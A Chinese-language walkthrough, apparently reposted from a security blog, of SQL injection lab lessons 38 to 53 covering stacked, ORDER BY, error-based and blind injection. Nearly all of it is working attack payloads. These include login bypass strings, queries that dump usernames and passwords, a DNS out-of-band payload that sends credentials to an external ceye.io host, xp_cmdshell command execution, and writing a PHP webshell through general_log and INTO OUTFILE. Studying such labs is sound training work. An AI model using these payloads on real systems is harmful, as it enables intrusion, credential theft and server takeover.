WEB常见漏洞之SQL注入(靶场篇—3)
2022-11-28 20:10:32 Author: 渗透安全团队(查看原文) 阅读量:14 收藏

免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 堆叠注入 38-53

堆叠注入原理

在 SQL 中分号;用来表示一条SQL语句的结束,在;后再添加一条SQL语句会导致两条语句一起执行,这就是堆叠注入。它与联合查询注入有什么区别呢?区别就是联合查询使用的unionunion select执行语句的类型是有限的,它只能使用查询语句;而堆叠注入可执行任意语句。举例如下:

# 用户提交
id=1;delete from users
# 如果服务器未检查就会直接生成SQL语句
SELECT * FROM users WHERE id=1;DELETE FROM users
# 执行后会显示查询信息,然后删除整个表

当然堆叠注入不是在每种环境下都可执行,它可能收到 API 或数据库引擎不支持的限制,与此同时权限不足也会导致攻击者无法修改数据或调用程序。这种注入方式并不是完美的,通常情况下 web 应用系统只会返回一个查询结果,因此会导致第二个查询语句被忽略或报错,我们在前端无法查看到返回结果。联合查询注入应与堆叠注入相辅相成。尝试读取数据可使用联合查询注入,堆叠注入也需要依赖联合查询拿到的表名、列名等。以下将介绍几个常用数据库的增删改查

MySQL

select * from users where id=1;create table test like users; #新建test表
select * from users where id=1;drop table test; #删除test表
select * from users where id=1;select 1,2,3; #查询数据
select * from users where id=1;select load_file('c:/mac.php') #读取文件

select * from users where id=1;insert into users(id,username,password) values('50','mac','mac') #添加数据

需要注意的是load_file()函数可读取文件并返回字符串内容。与此同时我们要满足以下条件:

  • 需要读取的文件必须存在于服务器上且知道它的绝对路径

  • 当前用户具有 FILE 权限

  • 需要读取的文件所有字节刻度,但内容必须小于max_allowed_packet

至于 MySQL 默认导出导出参数secure_file_priv已经在 Lesson7 中介绍过了,这里就不再赘述。

SQL Server

select * from users where id=1;create table test(ss CHAR(8)); #新建test表
select * from users where id=1;drop table test; #删除test表
select * from users where id=1;select 1,2,3; #查询数据
select * from users where id=1;update test set name='mac' where id=1; #修改数据
select * from users where id=1;exec master..xp_cmdshell 'ipconfig'; #命令执行

Oracle

Oracle 不能使用堆叠注入,同一行中执行两条语句会直接报错无效字符

PostgreSQL

select * from users where id=1;create table test(id Date); #新建test表
select * from users where id=1;delete from test; #删除test表
select * from users where id=1;select 1,2,3; #查询数据
select * from users where id=1;update test set name='mac' where id=1; #修改数据

Lesson-38

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入

id=1'

目标SQL语句如下:

$sql = select * from users where id='$id' limit 0,1
# 返回内容
if mysqli_multi_query($con1, $sql):
   输出查询内容;
else:
   print_r(mysql_error());

注意:该题与Lesson1的利用方式相同,唯一的区别在于mysqli_multi_query()函数,该函数可用于执行一个或多个使用分号分隔的SQL语句,由于支持多个SQL语句那我们就可使用堆叠注入进行利用

由于堆叠可执行任意 SQL 语句,那么我们就有多种方式进行注入利用,使用堆叠注入判断注入点,尝试验证

id=1' AND '1'='1 //返回正常界面

id=1' AND '1'='2 //返回错误界面

添加字段值

id=1';insert into users(username,password) values('mac','mac')--+

通过联合查询查看数据,发现字段值已添加

id=-1' union select 1,group_concat(username),group_concat(password) from users--+

dnslog外带数据利用:load_file()在 Linux 下无法使用 dnslog 进行攻击,这是因为 Windows 有 UNC 路径,而 Linux 没有。那什么是 UNC 路径呢?UNC 路径是通过命名规定用于远程共享文件的一种格式,具体格式如下:
\\servername\sharename\filname

例如\\192.168.0.132\mac\是一个的典型的 UNC 路径,MySQL 中的concat函数会拼接这其中的反斜杠符\,通过转移反斜杠符\变成了两个反斜杠符\\,利用 UNC 路径可完成 dnslog 外带数据攻击

id=1';select load_file(concat('\\\\',(select hex(concat_ws(0x7e,username,password)) from users limit 0,1),'.qk9fw5.ceye.io\\mac'))--+

在 dnslog 平台上返回查询结果,使用 hex 编码可有效减少特殊符号的干扰

解码 hex 编码还原数据

echo 44756D627E44756D62 | python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))"

在 MySQL 还可以利用日志获取权限,首先查询当前日志的相关配置

SHOW VARIABLES LIKE 'general%';

尝试通过堆叠注入开启日志并设置日志存储路径

id=1';set global general_log="on";set global general_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\mac.php';--+

再次查看日志,发现日志配置已修改完成

SHOW VARIABLES LIKE 'general%';

尝试写入webshell

id=1';select <?php phpinfo();?>

访问木马地址mac.php成功解析

Lesson-39

该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入

id=1'

目标SQL语句如下:

$sql = select * from users where id=$id limit 0,1
# 返回内容
if mysqli_multi_query($con1, $sql):
   输出查询内容;
else:
   print_r(mysql_error());

注意:该题与Lesson38的利用方式相同,唯一的区别在于拼接方式由单引号转为了数字

使用堆叠注入判断注入点,尝试验证

id=1 AND 1=1 //返回正常界面

id=1 AND 1=2 //返回错误界面

添加字段值

id=1;insert into users(username,password) values('mac','mac')--+

通过联合查询查看数据,发现字段值已添加

id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Lesson-40

该题为单括号单引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入

id=1'

目标SQL语句如下:

$sql = select * from users where id=('$id') limit 0,1
# 返回内容
if mysqli_multi_query($con1, $sql):
   输出查询内容;
else:
   输出空;

注意:该题与Lesson38的利用方式相同,唯一的区别在于拼接方式由单引号转为了单括号单引号,同时不再输出详细的报错信息,因此无法使用报错注入

使用堆叠注入判断注入点,尝试验证

id=1') AND ('1')=('1 //返回正常界面

id=1 AND 1=2 //返回错误界面

添加字段值

id=1');insert into users(username,password) values('mac','mac')--+

通过联合查询查看数据,发现字段值已添加

id=-1') union select 1,group_concat(username),group_concat(password) from users--+

Lesson-41

该题为数字型get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入

id=1'

目标SQL语句如下:

$sql = select * from users where id=$id limit 0,1
# 返回内容
if mysqli_multi_query($con1, $sql):
   输出查询内容;
else:
   输出空;

注意:该题与Lesson38的利用方式相同,唯一的区别在于拼接方式由单引号转为了单括号单引号,同时不再输出详细的报错信息,因此无法使用报错注入

使用堆叠注入判断注入点,尝试验证

id=1 AND 1=1 //返回正常界面

id=1 AND 1=2 //返回错误界面

添加字段值

id=1;insert into users(username,password) values('mac','mac')--+

通过联合查询查看数据,发现字段值已添加

id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Lesson-42

该题为单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

但忘记密码和注册用户这两个功能都无法使用

使用正确的密码登录成功,可在其中修改密码

目标SQL语句如下:

//login.php
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
@mysqli_multi_query($con1, $sql)

# 返回内容
if 查询成功:
   输出查询内容;
else:
   print_r(mysql_error());

$login = sqllogin($host,$dbuser,$dbpass, $dbname);
if 登录成功:
   setcookie("Auth", 1, time()+3600);
//pass_change.php
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题漏洞较多,首先在login.php中未对password进行过滤,可使用报错注入、盲注来进行利用,同时mysqli_multi_query()支持多条SQL语句,因此也可以使用堆叠注入。其次在pass_change.php中还存在二次注入。

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1'%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1'%20order%20by%203#&mysubmit=Login //返回正常页面

login_user=admin&login_password=1'%20order%20by%204#&mysubmit=Login //返回报错页面

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1';insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1'%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

Lesson-43

该题为单括号单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

目标SQL语句如下:

//login.php
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
@mysqli_multi_query($con1, $sql)

# 返回内容
if 查询成功:
   输出查询内容;
else:
   print_r(mysql_error());

$login = sqllogin($host,$dbuser,$dbpass, $dbname);
if 登录成功:
   setcookie("Auth", 1, time()+3600);
//pass_change.php
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题与Lesson38的利用方式相同,只不过拼接方式由单引号换成了单括号单引号

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1')%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1')%20order%20by%203#&mysubmit=Login //返回正常页面

login_user=admin&login_password=1'%20order%20by%204#&mysubmit=Login //返回报错页面

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1');insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1')%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

Lesson-44

该题为单引号post型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

目标SQL语句如下:

//login.php
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
@mysqli_multi_query($con1, $sql)

# 返回内容
if 查询成功:
   输出查询内容;
else:
   输出存在错误;

$login = sqllogin($host,$dbuser,$dbpass, $dbname);
if 登录成功:
   setcookie("Auth", 1, time()+3600);
//pass_change.php
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题与Lesson42的利用方式相同,只不过不再输出MySQL的具体报错信息,因此无法使用报错注入进行攻击

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1'%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1'%20order%20by%203#&mysubmit=Login //返回正常页面

这里我们不能使用 order by 来判断字段数,需要通过 union select 判断

login_user=admin&login_password=-1'%20union%20select%201,2,3#&mysubmit=Login

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1';insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1'%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

Lesson-45

该题为单括号单引号post型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

目标SQL语句如下:

//login.php
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
@mysqli_multi_query($con1, $sql)

# 返回内容
if 查询成功:
   输出查询内容;
else:
   输出存在错误;

$login = sqllogin($host,$dbuser,$dbpass, $dbname);
if 登录成功:
   setcookie("Auth", 1, time()+3600);
//pass_change.php
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题与Lesson44的利用方式相同,只不过拼接方式由单引号换成了单括号单引号

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1')%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1')%20order%20by%203#&mysubmit=Login //返回正常页面

这里我们不能使用 order by 来判断字段数,需要通过 union select 判断

login_user=admin&login_password=-1')%20union%20select%201,2,3#&mysubmit=Login

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1');insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1')%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

Lesson-46

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注,本题是对 order by 语句的注入,常见的显示表格的站点一般会使用sortlimit参数来控制数据返回长度

sort=1

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];  
$sql = "SELECT * FROM users ORDER BY $id";
# 返回内容
if true:
   输出查询内容;
else:
   print_r(mysql_error());

注意:该题将order by作为注入点,它不同于where后的参数注入,因此不能使用联合查询,但可以使用报错注入和盲注

判断注入点的多种方式:

  • 升降序验证

sort=1 asc //返回顺序结果

sort=1 desc //返回倒序结果

  • rand()验证

sort=rand(true)

sort=rand(false)

rand(true)rand(false)都会返回随机排列的结果

  • 延时验证

sort=sleep(3) //等待3*行数秒才会显示结果

使用报错注入查询基本信息

sort=(select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))
sort=(select count(*) from users group by concat((select version()),0x7e,floor(rand(0)*2)))
sort=(select count(*) from users group by concat((select database()),0x7e,floor(rand(0)*2)))

除了以上基础的 floor 报错注入外,还可以使用procedure analyse参数进行注入

sort=1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)

查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量

sort=(select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)))

sort=(select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e,floor(rand(0)*2)))

查询列名

sort=(select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)))

sort=(select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)))

查询关键信息

sort=(select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))

sort=(select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 1,1),0x7e,floor(rand(0)*2)))

盲注可使用rand()进行判断,一旦查询正确就会通过rand()函数重新随机排列数组,否则不变,首先测试布尔盲注

sort=rand(left(database(),1)>'s')

sort=rand(left(database(),1)='s')

数据库名的第一个字符为s,其次测试时间盲注

sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

使用into outfile将结果导入目标文件中

sort=1 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\mac.txt"

成功将结果写入mac.txt当中

我们可利用lines terminated by来尝试获取权限

sort=1 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\mac1.php" lines terminated by 0x3c3f70687020706870696e666f28293f3e0a 

访问mac1.php,成功解析

使用十六进制可有效规避字符乱码问题,通过 python 可将利用代码转换为十六进制

echo "<?php phpinfo()?>" | python3 -c "import sys, binascii; print(binascii.hexlify(sys.stdin.buffer.read()).decode())"

Lesson-47

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];  
$sql = "SELECT * FROM users ORDER BY '$id'";
# 返回内容
if true:
   输出查询内容;
else:
   print_r(mysql_error());

注意:该题与Lesson46的利用方式相同,只不过拼接方式由数字改为了单引号

使用报错注入判断注入点

sort=1'--+

查询基本信息

sort=1' and (select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))--+
sort=1' and (select count(*) from users group by concat((select version()),0x7e,floor(rand(0)*2)))--+
sort=1' and (select count(*) from users group by concat((select database()),0x7e,floor(rand(0)*2)))--+

除了以上基础的 floor 报错注入外,还可以使用procedure analyse参数进行注入

sort=1' procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)--+

查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量

sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e,floor(rand(0)*2)))--+

查询列名

sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 1,1),0x7e,floor(rand(0)*2)))--+

Lesson-48

该题为数字型get型注入,利用方式包括布尔盲注、时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];  
$sql = "SELECT * FROM users ORDER BY $id";
# 返回内容
if true:
   输出查询内容;
else:
   输出报错;

注意:该题与Lesson46的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用布尔盲注判断注入点

sort=1--+

查询长度

sort=rand(length(user())>13)--+ //返回正常界面
sort=rand(length(user())>14)--+ //返回不同界面

两次结果不同,由此判断长度为 14

查询字符

sort=rand(substr(user(),1,1)='r')--+ //返回正常界面
sort=rand(left(user(),1)='r')--+ //left()函数
sort=rand(ascii(substr(user(),1,1))=114)--+ //ASCII码

sort=rand(substr(user(),1,1)='s')--+ //返回不同界面

确定用户名为[email protected]

sort=rand(substr(user(),1,14)='[email protected]')--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

sort=rand(substr((select database()),1,14)='security')--+

Lesson-49

该题为单引号型get型注入,利用方式包括时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];  
$sql = "SELECT * FROM users ORDER BY '$id'";
# 返回内容
if true:
   输出查询内容;
else:
   输出报错;

注意:该题与Lesson48的利用方式相同,只不过拼接方式由数字变成了单引号

使用时间盲注判断注入点

sort=1'--+

查询长度

sort=1' and if(length(user())>1,sleep(0.1),0)--+ //界面响应需2.3秒以上
sort=1' and if(length(user())>20,sleep(0.1),0)--+ //快速返回界面

确认长度为14位

sort=1' and if(length(user())=14,sleep(0.1),0)--+  //界面响应需2.3秒以上
sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

查询字符

sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上
sort=1' and if(left(user(),1)='r',sleep(0.1),0)--+ //left()函数
sort=1' and if(ascii(substr(user(),1,1))=114,sleep(0.1),0)--+ //ASCII码

sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上

确定用户名为[email protected]

sort=1' and if(substr(user(),1,14)='root@localhost',sleep(0.1),0)--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

sort=1' and if(substr(database(),1,14)='security',sleep(0.1),0)--+

Lesson-50

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];  
$sql = "SELECT * FROM users ORDER BY $id";
# 返回内容
if mysqli_multi_query($con1, $sql):
   输出查询内容;
else:
   print_r(mysqli_error($con1));

注意:该题与Lesson46的利用方式相同,只不过查询方式由mysql_query变成了mysqli_multi_query,因此支持堆叠查询

使用堆叠查询判断注入点

sort=1--+

添加字段值

sort=1;insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-51

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];  
$sql="SELECT * FROM users ORDER BY '$id'";
# 返回内容
if mysqli_multi_query($con1, $sql):
   输出查询内容;
else:
   print_r(mysqli_error($con1));

注意:该题与Lesson50的利用方式相同,只不过拼接方式由数字换成了单引号

使用堆叠查询判断注入点

sort=1'--+

添加字段值

sort=1';insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-52

该题为数字型get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];  
$sql = "SELECT * FROM users ORDER BY $id";
# 返回内容
if mysqli_multi_query($con1, $sql):
   输出查询内容;
else:
   输出报错;

注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用堆叠查询判断注入点

sort=1--+

添加字段值

sort=1;insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-53

该题为单引号get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];  
$sql="SELECT * FROM users ORDER BY '$id'";
# 返回内容
if mysqli_multi_query($con1, $sql):
   输出查询内容;
else:
   输出报错;

注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用堆叠查询判断注入点

sort=1'--+

添加字段值

sort=1';insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

0x02 总结

该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了38-53关高级注入的通关教程。

文末福利!!!

加免费星球获《GO黑帽子-渗透测试编程之道一书》


文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247494718&idx=2&sn=9fd657fa56f97c5eb6d73569c507b9f5&chksm=c1761191f6019887847b274d7c422734cbf1949365e0c030d5cb50cefa7fb8d214445b29f263#rd
如有侵权请联系:admin#unsafe.sh